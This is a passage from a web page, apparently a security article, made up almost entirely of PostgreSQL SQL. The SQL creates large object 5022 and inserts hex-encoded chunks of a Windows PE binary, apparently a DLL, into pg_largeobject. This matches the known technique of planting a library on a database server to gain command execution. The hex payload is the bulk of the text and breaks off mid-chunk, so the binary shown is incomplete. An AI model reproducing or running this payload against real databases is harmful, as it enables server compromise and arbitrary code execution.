auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">：<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">SELECT</span> lo_create(<span class="code-snippet__number">5022</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000003f7502937b146cc07b146cc07b146cc06f7f68c170146cc06f7f6fc17d146cc06f7f69c1dd146cc0a26069c165146cc0a26068c174146cc0a2606fc172146cc01462f0c078146cc06f7f6dc179146cc07b146dc026146cc0a16068c17a146cc0a1606cc17a146cc0a16093c07a146cc0a1606ec17a146cc0526963687b146cc00000000000000000000000000000000050450000648607006d0d3b610000000000000000f00022200b020e1c001a010000d600000000000014180000001000000000008001000000001000000002000006000000000000000600000000000000004002000004000000000000020060010000100000000000001000000000000000001000000000000010000000000000000000001000000040bd0100e400000024be01003c000000002002008802000000f001007c11000000000000000000000030020034060000f0a601005400000000000000000000000000000000000000000000000000000050a7010038010000000000000000000000300100880200000000000000000000000000000000000000000000000000002e746578740000004019010000100000001a010000040000000000000000000000000000200000602e72646174610000c89600000030010000980000001e0100000000000000000000000000400000402e64617461000000381c000000d00100000c000000b60100000000000000000000000000400000c02e706461746100007c11000000f001000012000000c20100000000000000000000000000400000405f52444154410000f4000000001002000002000000d40100000000000000000000000000400000402e7273726300000088020000002002000004000000d60100000000000000000000000000400000402e72656c6f63000034060000003002000008000000da01000000000000000000000000004000004200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000488d0529230100c3cccccccccccccccc48895c24084889742410574883ec2048c7c3ffffffff488bf9488bcb0f1f400048ffc1803c0f0075f74883c104e806260000488bf0488bcb0f1f840000000000807c0f0100488d490175f58d048d10000000890648ffc3803c1f0075f74c8bc3488d4e04488bd7e854120000488b5c2430488bc6488b7424384883c4205fc3cc488d05b9220100c3cccccccccccccccc488d05a5220100c3cccccccccccccccc488d059d220100c3cccccccccccccccc48895c240848896c2410488974241857415641574883ec20488b4920e855030000488bf88b08c1e9028bd94883c1fde854250000488d5704488bc84c8d43fc488bf0e8c9110000b900040000c64433fc00e832250000b901000000488be8e8252500004533ff488d152b220100488bce4c8bf0448838e8593b00004c8bc0418d5708488bcd488bf0e8972800004885c074590f1f400066660f1f84000000000048c7c3ffffffff48ffc3803c2b0075f7428d3c3b498bce4863d7e8d12400004963cf488bd54803c84c63c34c8bf0e83d2300004c8bc6ba08000000488bcd448bffe83e2800004885c075b5488bcee8093a000041803e0074094963c742c64430ff00498bce488b5c2440488b6c2448488b7424504883c420415f415e5fe92efeffffcccccccccccccccccccccccccccc48895c2408488974241048897c241841564883ec20488bf1488b4920e8250200004c8bf08b10c1ea028bda488d4afde824240000498d5604488bc84c8d43fc488bf8e899100000488bcfc6443bfc00e814240000488bcf8bd8e8e62300004c3b76207408498bcee8d4010000488b742438488bc3488b5c2430488b7c24404883c420415ec3cccccccccccccccccccccc48895c2420555741574883ec40488b0574bd01004833c44889442438488be9488b4920e88e0100000fb615c1200100488bf80f1005a7200100885424308b10c1ea020f114424208bda488d4afde876230000488d5704488bc84c8d43fc4c8bf8e8eb0f0000488d158820010042c6443bfc00498bcfe8ae270000488bf84885c07509c6451c01e90a01000033d24889742468488bcf4c89742470448d4202e8c12c0000488bcfe8b53100004533c04c63f033d2488bcfe8a92c0000418d4e014863c9e801230000488bf04885c07513488bcfe8c124000033c0c6451c01e9a90000004c8bcf41b801000000498bd6488bce498bdee89b290000488bcfe897240000438d04364863c848ffc1e8b82200004533c9488bf84585f67e43488bc8478d0c364c8bc66666660f1f840000000000410fb610488d490248c1ea044d8d40010fb65414208851fe490fbe40ff83e00f0fb64404208841ff4883eb0175d24963c1488bcfc6043800e823fcffff488bcf488bd8e83c220000488bcee834220000&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;498bcfe82c220000488bc3488b7424684c8b742470488b4c24384833cce8ae000000488b5c24784883c440415f5f5dc3ff25421e0100ff25341e01004883ec284d8b4138488bca498bd1e80d000000b8010000004883c428c3cccccc4053458b18488bda4183e3f84c8bc941f600044c8bd17413418b40084d635004f7d84c03d14863c84c23d14963c34a8b1410488b43108b4808488b4308f64401030f740b0fb644010383e0f04c03c84c33ca498bc95be919000000cccccccccccccccccccccccccccccc66660f1f840000000000483b0d31bb0100f2751248c1c11066f7c1fffff27502f2c348c1c910e997030000cccccc4883ec2885d2743983ea01742883ea01741683fa01740ab8010000004883c428c3e882070000eb05e8530700000fb6c04883c428c3498bd04883c428e90f0000004d85c00f95c14883c428e91801000048895c2408488974241048897c242041564883ec20488bf24c8bf133c9e8f207000084c00f84c8000000e8790600008ad88844244040b701833d5dca0100000f85c5000000c7054dca010001000000e8c406000084c0744fe8d30a0000e8fe050000e825060000488d15361d0100488d0d071d0100e84237000085c07529e86106000084c07420488d15e61c0100488d0dd71c0100e8be360000c705f8c90100020000004032ff8acbe8d60800004084ff753fe81c090000488bd8488338007424488bc8e82308000084c074184c8bc6ba02000000498bce488b034c8b0d721c010041ffd1ff0511c40100b801000000eb0233c0488b5c2430488b742438488b7c24484883c420415ec3b907000000e8d008000090cccccc48895c2408574883ec30408af98b05d1c3010085c07f0d33c0488b5c24404883c4305fc3ffc88905b8c30100e85f0500008ad888442420833d46c90100027537e873060000e80e050000e8050a000083252ec90100008acbe80f08000033d2408acfe829080000f6d81bdb83e301e8750600008bc3eba2b907000000e84b0800009090cc488bc4488958204c89401889501048894808565741564883ec40498bf08bfa4c8bf185d2750f391534c301007f0733c0e9ee0000008d42ff83f8017745488b05541c01004885c0750ac744243001000000eb14ff155f1b01008bd88944243085c00f84b20000004c8bc68bd7498bcee8a0fdffff8bd88944243085c00f84970000004c8bc68bd7498bcee82d0400008bd88944243083ff01753685c075324c8bc633d2498bcee8110400004885f60f95c1e8c6feffff488b05db1b01004885c0740e4c8bc633d2498bceff15e81a010085ff740583ff0375404c8bc68bd7498bcee82efdffff8bd88944243085c07429488b05a11b01004885c075098d5801895c2430eb144c8bc68bd7498bceff15a51a01008bd889442430eb0633db895c24308bc3488b5c24784883c440415e5f5ec3cccccc48895c24084889742410574883ec20498bf88bda488bf183fa017505e8bb0200004c8bc78bd3488bce488b5c2430488b7424384883c4205fe98ffeffffcccccc40534883ec20488bd933c9ff15cb170100488bcbff15ba170100ff15c4170100488bc8ba090400c04883c4205b48ff25b817010048894c24084883ec38b917000000ff15ac17010085c07407b902000000cd29488d0d42c20100e8c9010000488b44243848890529c30100488d4424384883c008488905b9c20100488b0512c3010048890583c10100488b44244048890587c20100c7055dc10100090400c0c70557c1010001000000c70561c1010001000000b808000000486bc000488d0d59c1010048c7040102000000b808000000486bc000488b0dd9b6010048894c0420b808000000486bc001488b0dbcb6010048894c0420488d0d301a0100e8fffeffff4883c438c3cccc4883ec28b908000000e8060000004883c428c3cc894c24084883ec28b917000000ff15c516010085c074088b4424308bc8cd29488d0d5ac10100e871000000488b44242848890541c20100488d4424284883c008488905d1c10100488b052ac201004889059bc00100c70581c00100090400c0c7057bc0010001000000c70585c0010001000000b808000000486bc000488d0d7dc001008b54243048891401488d0d7e190100e84dfeffff4883c428c348895c2420574883ec40488bd9ff15f1150100488bbbf8000000488d542450488bcf4533c0ff15e11501004885c07432488364243800488d4c2458488b5424504c8bc848894c24304c8bc7488d4c246048894c242833c948895c2420ff15b2150100488b5c24684883c4405fc3cccccc405356574883ec40488bd9ff1583150100488bb3f800000033ff4533c0488d542460488bceff15711501004885c07439488364243800488d4c2468488b5424604c8bc848894c24304c8bc6488d4c247048894c242833c948895c2420ff1542150100ffc783ff027cb14883c4405f5e5bc3cccccc48895c242055488bec4883ec20488b0504b5010048bb32a2df2d992b0000483bc375744883651800488d4d18ff1546150100488b451848894510ff15301501008bc048314510ff151c1501008bc0488d4d2048314510ff15041501008b4520488d4d1048c1e02048334520483345104833c148b9ffffffffffff00004823c148b933a2df2d992b0000483bc3480f44c148890581b40100488b5c244848f7d04889056ab401004883c4205dc3b801000000c3cccc488d0d15c4010048ff25be140100cccc488d0d05c40100e9940f0000488d0509c40100c3488d0509c40100c34883ec28e8e7ffffff48830824e8e6ffffff488308024883c428c3cc4883ec28e89f06000085c0742165488b04253000&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;0000488b4808eb05483bc8741433c0f0480fb10dd0c3010075ee32c04883c428c3b001ebf7cccccc4883ec28e86306000085c07407e8b6040000eb19e85bffffff8bc8e84837000085c0740432c0eb07e8fb3b0000b0014883c428c34883ec2833c9e83d01000084c00f95c04883c428c3cccccc4883ec28e82b0f000084c0750432c0eb12e8ca3e000084c07507e8290f0000ebecb0014883c428c34883ec28e8c33e0000e8120f0000b0014883c428c3cccccc48895c240848896c24104889742418574883ec20498bf9498bf08bda488be9e8bc05000085c0751683fb0175114c8bc633d2488bcd488bc7ff15a6150100488b5424588b4c2450488b5c2430488b6c2438488b7424404883c4205fe92c3000004883ec28e87705000085c07410488d0dd0c201004883c428e97b3c0000e83234000085c07505e80d3400004883c428c34883ec2833c9e8613e00004883c428e9940e000040534883ec200fb6058bc2010085c9bb010000000f44c388057bc20100e876030000e8010e000084c0750432c0eb14e8b43d000084c0750933c9e8390e0000ebea8ac34883c4205bc3cccccc40534883ec20803d40c20100008bd9756783f901776ae8d504000085c0742885db7524488d0d2ac20100e8153c000085c07510488d0d32c20100e8053c000085c0742e32c0eb33660f6f059d1501004883c8fff30f7f05f9c1010048890502c20100f30f7f0502c201004889050bc20100c605d5c1010001b0014883c4205bc3b905000000e8fa000000cccc4883ec184c8bc1b84d5a0000663905bde1ffff757848630df0e1ffff488d15ade1ffff4803ca813950450000755fb80b0200006639411875544c2bc20fb74114488d51184803d00fb74106488d0c804c8d0cca48891424493bd174188b4a0c4c3bc1720a8b420803c14c3bc072084883c228ebdf33d24885d2750432c0eb14837a24007d0432c0eb0ab001eb0632c0eb0232c04883c418c340534883ec208ad9e8bf03000033d285c0740b84db750748871502c101004883c4205bc340534883ec20803df7c00100008ad9740484d2750ce8723c00008acbe8c30c0000b0014883c4205bc3cccccc488d0511cd0100c3832501c1010000c348895c240855488dac2440fbffff4881ecc00500008bd9b917000000ff15fe10010085c074048bcbcd29b903000000e8c4ffffff33d2488d4df041b8d0040000e8330d0000488d4df0ff1599100100488b9de8000000488d95d8040000488bcb4533c0ff15871001004885c0743c488364243800488d8de0040000488b95d80400004c8bc848894c24304c8bc3488d8de804000048894c2428488d4df048894c242033c9ff154e100100488b85c8040000488d4c2450488985e800000033d2488d85c804000041b8980000004883c00848898588000000e89c0c0000488b85c80400004889442460c744245015000040c744245401000000ff155210010083f801488d4424504889442440488d45f00f94c3488944244833c9ff15e90f0100488d4c2440ff15d60f010085c0750c84db75088d4803e8befeffff488b9c24d00500004881c4c00500005dc3cc48895c2408574883ec20488d1d938b0100488d3d8c8b0100eb12488b034885c07406ff15fc1101004883c308483bdf72e9488b5c24304883c4205fc348895c2408574883ec20488d1d678b0100488d3d608b0100eb12488b034885c07406ff15c01101004883c308483bdf72e9488b5c24304883c4205fc3c20000cc48895c24104889742418574883ec1033c033c90fa2448bc14533db448bcb4181f06e74656c4181f147656e75448bd28bf033c9418d4301450bc80fa24181f2696e6549890424450bca895c24048bf9894c24088954240c755048830dcfae0100ff25f03fff0f3dc006010074283d6006020074213d70060200741a05b0f9fcff83f820772448b90100010001000000480fa3c17314448b05acbe01004183c801448905a1be0100eb07448b0598be0100b807000000448d48fb3bf07c2633c90fa2890424448bdb895c2404894c24088954240c0fbae309730a450bc144890565be0100c7053bae01000100000044890d38ae01000fbae7140f839100000044890d23ae0100bb06000000891d1cae01000fbae71b73790fbae71c737333c90f01d048c1e220480bd04889542420488b44242022c33ac375578b05eead010083c808c705ddad0100030000008905dbad010041f6c320743883c820c705c4ad0100050000008905c2ad0100b8000003d04423d8443bd87518488b44242024e03ce0750d830da3ad010040891d99ad0100488b5c242833c0488b7424304883c4105fc3cccccc33c039058cc901000f95c0c3cccccccccccc66660f1f8400000000005756488bf9488bf2498bc8f3a45e5fc3cccccccccccc66660f1f840000000000488bc14c8d1526ddffff4983f80f0f870c010000666666660f1f840000000000478b8c82001002004d03ca41ffe1c3904c8b028b4a08440fb74a0c440fb6520e4c8900894808664489480c4488500ec34c8b020fb74a08440fb64a0a4c8900668948084488480ac30fb70a668908c3908b0a440fb74204440fb64a068908664489400444884806c34c8b028b4a08440fb74a0c4c8900894808664489480cc30fb70a440fb6420266890844884002c3904c8b028b4a08440fb64a0c4c89008948084488480cc34c8b020fb74a084c890066894808c34c8b020fb64a084c8900884808c34c8b028b4a084c8900894808c38b0a440fb7420489086644894004c38b0a440fb64204890844884004c3488b0a488908c30fb60a8808c38b0a8908c3904983f8207717f30f6f0af3420f6f5402&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">3</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;f0f30f7f09f3420f7f5401f0c3483bd1730e4e8d0c02493bc90f824104000090833df1ab0100030f82e30200004981f80020000076164981f800001800770df605f2bb0100020f8564feffffc5fe6f02c4a17e6f6c02e04981f8000100000f86c40000004c8bc94983e11f4983e920492bc9492bd14d03c14981f8000100000f86a30000004981f8000018000f873e0100006666666666660f1f840000000000c5fe6f0ac5fe6f5220c5fe6f5a40c5fe6f6260c5fd7f09c5fd7f5120c5fd7f5940c5fd7f6160c5fe6f8a80000000c5fe6f92a0000000c5fe6f9ac0000000c5fe6fa2e0000000c5fd7f8980000000c5fd7f91a0000000c5fd7f99c0000000c5fd7fa1e00000004881c1000100004881c2000100004981e8000100004981f8000100000f8378ffffff4d8d481f4983e1e04d8bd949c1eb05478b9c9a401002004d03da41ffe3c4a17e6f8c0a00ffffffc4a17e7f8c0900ffffffc4a17e6f8c0a20ffffffc4a17e7f8c0920ffffffc4a17e6f8c0a40ffffffc4a17e7f8c0940ffffffc4a17e6f8c0a60ffffffc4a17e7f8c0960ffffffc4a17e6f4c0a80c4a17e7f4c0980c4a17e6f4c0aa0c4a17e7f4c09a0c4a17e6f4c0ac0c4a17e7f4c09c0c4a17e7f6c01e0c5fe7f00c5f877c36690c5fe6f0ac5fe6f5220c5fe6f5a40c5fe6f6260c5fde709c5fde75120c5fde75940c5fde76160c5fe6f8a80000000c5fe6f92a0000000c5fe6f9ac0000000c5fe6fa2e0000000c5fde78980000000c5fde791a0000000c5fde799c0000000c5fde7a1e00000004881c1000100004881c2000100004981e8000100004981f8000100000f8378ffffff4d8d481f4983e1e04d8bd949c1eb05478b9c9a641002004d03da41ffe3c4a17e6f8c0a00ffffffc4a17de78c0900ffffffc4a17e6f8c0a20ffffffc4a17de78c0920ffffffc4a17e6f8c0a40ffffffc4a17de78c0940ffffffc4a17e6f8c0a60ffffffc4a17de78c0960ffffffc4a17e6f4c0a80c4a17de74c0980c4a17e6f4c0aa0c4a17de74c09a0c4a17e6f4c0ac0c4a17de74c09c0c4a17e7f6c01e0c5fe7f000faef8c5f877c3666666666666660f1f8400000000004981f800080000760df60518b90100020f858afbfffff30f6f02f3420f6f6c02f04981f8800000000f868e0000004c8bc94983e10f4983e910492bc9492bd14d03c14981f88000000076710f1f440000f30f6f0af30f6f5210f30f6f5a20f30f6f6230660f7f09660f7f5110660f7f5920660f7f6130f30f6f4a40f30f6f5250f30f6f5a60f30f6f6270660f7f4940660f7f5150660f7f5960660f7f61704881c1800000004881c2800000004981e8800000004981f88000000073944d8d480f4983e1f04d8bd949c1eb04478b9c9a881002004d03da41ffe3f3420f6f4c0a80f3420f7f4c0980f3420f6f4c0a90f3420f7f4c0990f3420f6f4c0aa0f3420f7f4c09a0f3420f6f4c0ab0f3420f7f4c09b0f3420f6f4c0ac0f3420f7f4c09c0f3420f6f4c0ad0f3420f7f4c09d0f3420f6f4c0ae0f3420f7f4c09e0f3420f7f6c01f0f30f7f00c3660f1f8400000000004c8bd94c8bd2482bd14903c80f104411f04883e9104983e810f6c10f7417488bc14883e1f00f10c80f1004110f11084c8bc14d2bc34d8bc849c1e907746f0f2901eb1466666666660f1f8400000000000f2941100f29090f104411f00f104c11e04881e9800000000f2941700f2949600f104411500f104c114049ffc90f2941500f2949400f104411300f104c11200f2941300f2949200f104411100f100c1175ae0f2941104983e07f0f28c14d8bc849c1e904741a66660f1f8400000000000f11014883e9100f10041149ffc975f04983e00f7408410f100a410f110b0f1101498bc3c3cccccc48895c240848896c241048897424185741544155415641574883ec40488be94d8bf9498bc8498bf84c8beae8fc0400004d8b67084d8b37498b5f384d2bf4f6450466418b77480f85dc00000048896c243048897c24383b330f838a0100008bfe4803ff8b44fb044c3bf00f82aa0000008b44fb084c3bf00f839d000000837cfb10000f8492000000837cfb0c0174178b44fb0c488d4c24304903c4498bd5ffd085c0787d7e74817d0063736de0752848833da109010000741e488d0d98090100e833f7000085c0740eba01000000488bcdff15810901008b4cfb1041b8010000004903cc498bd5e80c040000498b47404c8bc58b54fb10498bcd448b4d004903d44889442428498b47284889442420ff1533060100e80e040000ffc6e935ffffff33c0e9c5000000498b7f20448b0b492bfc413bf10f83ad000000458bc18bd6418bc84803d28b44d3044c3bf00f82880000008b44d3084c3bf0737f448b5d044183e32074444533d24585c07434418bca4803c98b44cb04483bf8721d8b44cb08483bf873148b44d3103944cb10750a8b44d30c3944cb0c740841ffc2453bd072cc418bc9453bd1753e8b44d31085c0740c483bf875244585db752ceb1d8d4601b10141894748448b44d30c498bd54d03c441ffd0448b0b418bc9ffc6448bc13bf10f8256ffffffb8010000004c8d5c2440498b5b30498b6b38498b7340498be3415f415e415d415c5fc3cc40534883ec20ff15380501004885c07413488b18488bc8e8c40a0000488bc34885db75ed4883c4205bc3cccc4883ec28e8db04000084c0750432c0eb12e86204000084c07507e8f9040000ebecb0014883c428c34883ec28e8870300004885c00f95c04883c428c34883ec2833c9e805030000b0014883c428c3cccc4883ec2884c9750ae863040000e8b6040000b0014883c428c3cccccc4883ec28e84b040000b0014883c428c34885c974&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">4</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;67885424104883ec48813963736de0755383791804754d8b41202d2005931983f8027740488b41304885c074374863500485d2741148035138488b4928e82a000000eb20eb1ef600107419488b4128488b084885c9740d488b01488b4010ff15340601004883c448c3cccccc48ffe2cccccccccccccc66660f1f840000000000578bc2488bf9498bc8f3aa498bc35fc3cccccccccccc66660f1f8400000000004c8bd90fb6d249b901010101010101014c0fafca4983f8100f86f200000066490f6ec1660f60c04981f8800000007710e96b0000006666660f1f840000000000f60551b301000275970f11014c03c14883c1104883e1f04c2bc14d8bc849c1e907743d4c3b0d1ea301000f87600000000f29010f2941104881c1800000000f2941a00f2941b049ffc90f2941c00f2941d00f2941e0660f2941f075d44983e07f4d8bc849c1e90474130f1f80000000000f11014883c11049ffc975f44983e00f7406420f114401f0498bc3c30f1f40000f2b010f2b41104881c1800000000f2b41a00f2b41b049ffc90f2b41c00f2b41d00f2b41e00f2b41f075d50faef84983e07feb9c666666660f1f840000000000498bd14c8d0d46d2ffff438b8481b01002004c03c84903c8498bc341ffe16690488951f18951f9668951fd8851ffc390488951f48951fcc3488951f78851ffc3488951f38951fb8851ffc30f1f440000488951f28951fa668951fec3488910c34889106689500888500ac30f1f44000048891066895008c348891048895008c3cccccccccccc66660f1f84000000000048894c24084889542418448944241049c7c120059319eb08cccccccccccc6690c3cccccccccccc660f1f840000000000c3cccccc488b050d040100488d156af2ffff483bc2742365488b042530000000488b8998000000483b48107206483b48087607b90d000000cd29c3cc4883ec284885c97411488d05f4b10100483bc87405e86e0700004883c428c3cc40534883ec20488bd98b0d55a1010083f9ff74334885db750ee8c20300008b0d40a10100488bd833d2e8fa0300004885db7414488d05aab10100483bd87408488bcbe8210700004883c4205bc3cccccc4883ec28e8130000004885c074054883c428c3e80c2d0000cccccccc48895c24084889742410574883ec20833de2a00100ff750733c0e990000000ff15430101008b0dcda001008bf8e8420300004883caff33f6483bc274674885c07405488bf0eb5d8b0daba00100e86a03000085c0744eba800000008d4a81e8352e00008b0d8fa00100488bd84885c07424488bd0e84303000085c07412488bc3c74378feffffff488bde488bf0eb0d8b0d63a0010033d2e820030000488bcbe8580600008bcfff15c4000100488bc6488b5c2430488b7424384883c4205fc3cc4883ec28488d0da9feffffe814020000890522a0010083f8ff7425488d1596b001008bc8e8d302000085c0740ec705f9b00100feffffffb001eb07e80800000032c04883c428c3cc4883ec288b0de69f010083f9ff740ce810020000830dd59f0100ffb0014883c428c3cccc4883ec284533c0488d0dbeb00100baa00f0000e8cc02000085c0740aff05d2b00100b001eb07e80900000032c04883c428c3cccc40534883ec208b1db4b00100eb1d488d0583b00100ffcb488d0c9b488d0cc8ff1503000100ff0d95b0010085db75dfb0014883c4205bc3cc48895c240848896c241048897424185741544155415641574883ec208bf94c8d3d0bcfffff4d8be1498be84c8bea498b84ff78e101004983ceff493bc60f84ea0000004885c00f85e30000004d3bc10f84d00000008b7500498b9cf760e101004885db740b493bde0f8599000000eb6b4d8bbcf76841010033d2498bcf41b800080000ff15a7ff0000488bd84885c07556ff1539ff000083f857752d448d4307498bcf488d159e100100e8592c000085c074164533c033d2498bcfff156fff0000488bd84885c0751e498bc64c8d3d5dceffff498784f760e101004883c504493bece968ffffff488bc34c8d3d3fceffff498784f760e101004885c07409488bcbff1519ff0000498bd5488bcbff1515ff00004885c0740d488bc849878cff78e10100eb0a4d87b4ff78e1010033c0488b5c2450488b6c2458488b7424604883c420415f415e415d415c5fc340534883ec20488bd94c8d0d0410010033c94c8d05f30f0100488d15f40f0100e88ffeffff4885c0740f488bcb4883c4205b48ff25430001004883c4205b48ff256ffe0000cccccc40534883ec208bd94c8d0dd50f0100b9010000004c8d05c10f0100488d15c20f0100e845feffff8bcb4885c0740c4883c4205b48ff25faff00004883c4205b48ff253efe0000cccc40534883ec208bd94c8d0d9d0f0100b9020000004c8d05890f0100488d158a0f0100e8fdfdffff8bcb4885c0740c4883c4205b48ff25b2ff00004883c4205b48ff25e6fd0000cccc48895c2408574883ec20488bda4c8d0d680f01008bf9488d155f0f0100b9030000004c8d054b0f0100e8aefdffff488bd38bcf4885c07408ff1566ff0000eb06ff15a6fd0000488b5c24304883c4205fc3cccccc48895c24084889742410574883ec20418bf04c8d0d270f01008bda4c8d05160f0100488bf9488d15140f0100b904000000e852fdffff8bd3488bcf4885c0740b448bc6ff1507ff0000eb06ff152ffd0000488b5c2430488b7424384883c4205fc3cccccccccccccccccccccccccc66660f1f8400000000004883ec2848894c243048895424384489442440488b12488bc1e862faffffffd0e88bfaffff488bc8488b542438488b1241b802000000e845faffff4883c428c3&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">5</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;cccccccccccc66660f1f8400000000004883ec2848894c243048895424384489442440488b12488bc1e812faffffffd0e83bfaffff4883c428c3cccccccccccc4883ec2848894c24304889542438488b542438488b1241b802000000e8dff9ffff4883c428c3cccccccccccc0f1f40004883ec2848894c243048895424384c8944244044894c2448458bc1488bc1e8adf9ffff488b4c2440ffd0e8d1f9ffff488bc8488b54243841b802000000e88ef9ffff4883c428c3cccccccccccccccccccccccccccccc66660f1f8400000000004c8bd94d0bc07424482bcaf6c20774288a0284c088040a0f84e300000048ffc249ffc87407f6c20775e6eb0c498bc3c34889040a4883c208488b024983e808762649b9fffefefefefefe7e4c03c84c8bd04983f2ff4d33d149b900010101010101814d85d174c94983c0080f848b00000084c088040a0f848400000048ffc249ffc8747884e488240a747548ffc249ffc8746948c1e81084c088040a746248ffc249ffc8745684e488240a745348ffc249ffc8744748c1e81084c088040a744048ffc249ffc8743484e488240a743148ffc249ffc87425c1e81084c088040a741f48ffc249ffc8741384e488240a741048ffc249ffc80f853cffffff498bc3c34803ca4833d24983f8107245f6c107740a48ffc1881149ffc8ebf14983e82072194889114889510848895110488951184883c1204983e82073e74983c0204983e80872094889114883c108ebf14983c0084983e8017207881148ffc1ebf3498bc3c3ccccc7442410000000008b442410e9bf270000cccccce9f7270000cccccce94f280000cccccc48895c241048897c241855488bec4883ec60488b05979901004833c4488945f8488bf94c8d05260c010033db488d4dd033d248895dd0e8612d000083f8160f84e20000004885ff751e488b4dd04885c90f84ab00000033d2e8df39000085c00f94c3e996000000488b45d0488d0dee0b0100488945d848894de048897de848895df04885c0745ae8702b00008b38e8692b00004533c94c8d45d833c98918488b55d8e851340000488bd883f8ff7409e8482b00008938eb45e83f2b00008338027418e8352b000083380d740e488b4dd0e8d726000083cbffeb2ce81d2b00008938488d15700b01004533c94c8d45d8488955d833c9e816370000488bd8488b4dd0e8a62600008bc3488b4df84833cce864ddffff4c8d5c2460498b5b18498b7b20498be35dc34533c948895c24204533c033d233c9e8c2290000cccc48895c2408574883ec20488bd94885c97515e8a92a0000c70016000000e87e29000083c8ffeb518b411483cfffc1e80da801743ae8c3400000488bcb8bf8e89d3e0000488bcbe8793b00008bc8e80e3a000085c0790583cfffeb13488b4b284885c9740ae8072600004883632800488bcbe8623d00008bc7488b5c24304883c4205fc3cc48895c241048894c2408574883ec20488bd94885c9751ee8202a0000c70016000000e8f528000083c8ff488b5c24384883c4205fc38b4114c1e80ca8017407e8103d0000ebe1e8993c000090488bcbe828ffffff8bf8488bcbe8923c00008bc7ebc8cccc48895c24104c8944241856574154415641574883ec30498bd8448bf24c8be133ff4885c9752885d27427e8a9290000c70016000000e87e28000033c0488b5c24684883c430415f415e415c5f5ec34585f678d74885db74d24585f674dd488bcbe81b3c000090488bcbe85e00000084c07449498bf44c8964242841bf0100000044897c2420453bfe742b488bcbe8964000008944246083f8ff7507493bf4741beb13880648ffc648897424283c0a740541ffc7ebcb40883e498bfc488bcbe8c93b0000488bc7e971ffffffcc4883ec288b4114c1e80ca8010f8581000000e8f93900004c63c84c8d15079801004c8d1de0a901004d8bc1418d410283f801761b498bc1498bd148c1fa0683e03f488d0cc0498b04d3488d14c8eb03498bd2807a39007527418d410283f8017617498bc048c1f8064183e03f498b04c34b8d0cc04c8d14c841f6423d017414e888280000c70016000000e85d27000032c0eb02b0014883c428c3cccce993feffffcccccc48895c24104889742418574883ec30418bf0488bda488bf94885c97522e846280000c70016000000e81b27000033c0488b5c2448488b7424504883c4305fc34885db74d9803a0074d4803900750de815280000c70016000000ebd2488d4c2440e8c33a00004c8b4c24404d85c9750de8f4270000c70018000000ebb1488364242000448bc6488bd3488bcfe86c440000488bd848894424204885db750a488b4c2440e8d93a0000488b4c2440e86b3